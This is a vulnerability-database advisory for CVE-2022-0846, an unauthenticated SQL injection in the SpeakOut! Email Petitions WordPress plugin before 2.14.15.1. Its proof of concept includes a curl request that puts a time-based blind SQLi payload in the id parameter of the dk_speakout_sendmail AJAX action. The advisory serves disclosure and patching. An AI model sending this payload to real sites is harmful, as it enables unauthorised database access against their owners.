Lucene search
CydaveWPEX-ID:B030296D-688E-44A4-A48A-140375F2C5F4HistoryMar 07, 2022 - 12:00 a.m.
SpeakOut! Email Petitions < 2.14.15.1 - Unauthenticated SQLi
2022-03-0700:00:00
cydave
76
0.04 Low
EPSS
Percentile
92.1%
The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users
Create a new email petition (/wp-admin/admin.php?page=dk_speakout_addnew), check [x] Do not send email (only collect signatures), enter a title and hit save.
Then as unauthenticated, curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=dk_speakout_sendmail&id=11 AND (SELECT 5023 FROM (SELECT(SLEEP(5)))Fvrh)-- VoFu'Related
patchstack
patchstack
nuclei
nuclei
SpeakOut Email Petitions < 2.14.15.1 - SQL Injection
2023-04-21 08:56:01
wpvulndb
wpvulndb
SpeakOut! Email Petitions < 2.14.15.1 - Unauthenticated SQLi
2022-03-07 00:00:00
prion
prion
Sql injection
2022-03-28 18:15:00
nvd
nvd
CVE-2022-0846
2022-03-28 18:15:09
cve
cve
CVE-2022-0846
2022-03-28 18:15:09
cvelist
cvelist
CVE-2022-0846 SpeakOut! Email Petitions < 2.14.15.1 - Unauthenticated SQLi
2022-03-28 17:23:28